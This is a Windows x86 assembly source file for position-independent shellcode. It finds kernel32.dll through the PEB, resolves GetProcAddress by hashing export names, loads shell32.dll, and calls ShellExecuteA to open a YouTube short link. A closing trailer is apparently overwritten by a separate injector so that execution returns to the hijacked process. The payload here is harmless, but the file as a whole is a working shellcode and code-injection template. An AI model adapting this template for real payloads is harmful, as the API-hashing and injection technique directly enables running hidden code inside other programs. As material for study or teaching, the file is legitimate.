1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
|
bits 32
section .shellcode align=1
global _shellcode
global _shellcode_size
_shellcode:
jmp _shellcode_entry
; Calculate a 32 bit hash from a string (non-case-sensitive)
; arguments: esi = ptr to string
; ecx = bufsiz
; modifies : eax, edi
; return : 32 bit hash value in edi
_calcStrHash:
xor edi,edi
_calcHash_loop:
xor eax,eax
lodsb ; read in the next byte of the name [esi] and store it in al
cmp al,'a' ; some versions of Windows use lower case module names
jl _calcHash_not_lowercase
sub al,0x20 ; if so normalise to uppercase
_calcHash_not_lowercase:
ror edi,13 ; rotate right our hash value
add edi,eax ; add the next byte of the name to the hash
loop _calcHash_loop
ret
; Get base address of kernel32.dll (alternative way through PEB)
; arguments: -
; modifies : eax, ebx
; return : base addres in eax
_getModuleHandleKernel32PEB:
mov eax,[fs:0x30] ; PEB
mov eax,[eax+0x0c] ; PEB->Ldr
mov eax,[eax+0x14] ; PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry)
mov ebx,eax
xor ecx,ecx
_getModuleHandleKernel32PEB_loop:
pushad
mov esi,[ebx+0x28] ; Flink.ModuleName (16bit UNICODE)
mov ecx,0x18 ; max module length: 24 -> len('kernel32.dll')*2
call _calcStrHash
cmp edi,0x6A4ABC5B ; pre calculated module name hash of 'kernel32.dll'
popad
mov ecx,[ebx+0x10] ; get base address
mov ebx,[ebx]
jne _getModuleHandleKernel32PEB_loop
mov eax,ecx
ret
_getModuleHandleKernel32PEB_fail:
xor eax,eax
ret
; Get Address of GetProcAddress from module export directory
; arguments: eax = kernel32 base address
; modifies : eax, ebx, ecx, edi, edx, esi
; return : eax
_getAdrOfGetProcAddress:
mov ebx,eax
add ebx,[eax+0x3c] ; PE header
mov ebx,[ebx+0x78] ; RVA export directory
add ebx,eax
mov esi,[ebx+0x20] ; RVA Export Number Table
add esi,eax ; VA of ENT
mov edx,eax ; remember kernel base
xor ecx,ecx
_getAdrOfGetProcAddress_loop:
inc ecx
lodsd ; load dword from esi into eax
add eax,edx ; add kernel base
pushad
mov esi,eax ; string
mov ecx,14 ; len('GetProcAddress')
call _calcStrHash
cmp edi,0x1ACAEE7A ; pre calculated hash of 'GetProcAddress' (see _calcStrHash)
popad
jne _getAdrOfGetProcAddress_loop
dec ecx
mov edi,ebx
mov edi,[edi+0x24] ; RVA of Export Ordinal Table
add edi,edx ; VA of EOT
movzx edi,word [ecx*2+edi] ; ordinal to function
mov eax,ebx
mov eax,[eax+0x1c] ; RVA of Export Address Table
add eax,edx ; VA of EAT
mov eax,[edi*4+eax] ; RVA of GetProcAddress
add eax,edx ; VA of GetProcAddress
ret
_shellcode_entry:
; Wanna debug?
;int3
pushad
; Get Kernel32 base address from PEB
call _getModuleHandleKernel32PEB ; kernel32.dll stores the base in eax
sub esp, 8 ; make space for address of LoadLibraryA
; and Shell32.dll base address
push eax
call _getAdrOfGetProcAddress ; locate GetProcAddress by using eax (result in eax)
push eax
mov ebp,esp ; new stack frame
; LoadLibraryA / ShellExecuteA
push 0x00000000 ; NUL termination
push 0x41797261 ; 'Ayra'
push 0x7262694C ; 'rbiL'
push 0x64616F4C ; 'daoL'
push esp ; ptr to string above (1st arg for GetProcAddress)
push dword [ebp+4] ; KERNEL32.dll base address (2nd arg for GetProcAddress)
call [ebp] ; GetProcAddress
mov [ebp+8],eax ; LoadLibraryA in eax
push 0x006C6C64 ; 'lld'
push 0x2E32336C ; '.23l'
push 0x6C656853 ; 'lehS'
push esp ; ptr to string above (1st arg for LoadLibraryA)
call [ebp+8] ; GetProcAddress
mov [ebp+12],eax ; Shell32.dll in eax
push 0x00000041 ; 'A'
push 0x65747563 ; 'etuc'
push 0x6578456C ; 'exEl'
push 0x6C656853 ; 'lehS'
push esp ; ptr to string above (1st arg for GetProcAddress)
push dword [ebp+12] ; Shell32.dll base address (2nd arg for GetProcAddress)
call [ebp] ; GetProcAddress
; ShellExecuteA address in eax
; ShellExecuteA
; URL: http://y2u.be/DLzxrzFCyOs
push 0x00000073 ; 's'
push 0x4F794346 ; 'OyCF'
push 0x7A72787A ; 'zrxz'
push 0x4C442F65 ; 'LD/e'
push 0x622E7532 ; 'b.u2'
push 0x792F2F3A ; 'y//:'
push 0x70747468 ; 'ptth'
; 'Open'
push 0x00000000
push 0x6E65706F
; Arguments for ShellExecuteA
push 0x00000001 ; nShowCmd -> SW_SHOWNORMAL
push esp
push 0x00000000 ; lpDirectory -> NULL
push 0x00000000 ; lpParameters -> NULL
push esp
add dword [esp], 24 ; lpFile -> address to URL
push esp
add dword [esp], 20 ; lpOperation -> address to 'Open'
push 0x00000000 ; hwnd -> NULL
call eax
; cleanup stack memory
add esp,16 + 12 + 16 + 28 + 8 + 4 + 8
pop eax
pop eax
popad
; The following code is typically used to test the shellcode.
; If you don't plan to test it e.g. by running test_shellcode()
; you can delete the cmp, jne, ret and shellcode_noret.
cmp eax, 0xDEADBEEF
jne shellcode_noret
ret
shellcode_noret:
; The following 10 bytes represent the shellcode_trailer union (see injector.c).
; It will be overwritten by our "jump back to original code flow" instruction.
db 0xFF,0xDE,0xAD,0xC0,0xDE ; insts[0]
db 0x00,0x00,0x00,0x00,0x00 ; insts[1]
_shellcode_size:
dd $ - _shellcode
|